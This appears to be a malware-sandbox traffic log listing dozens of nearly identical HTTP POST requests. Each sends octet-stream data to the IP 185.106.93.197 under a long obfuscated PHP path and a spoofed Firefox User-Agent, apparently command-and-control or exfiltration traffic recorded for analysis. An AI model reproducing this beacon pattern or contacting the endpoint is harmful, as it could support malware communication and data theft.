                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1832Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1820Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2500Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1820Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
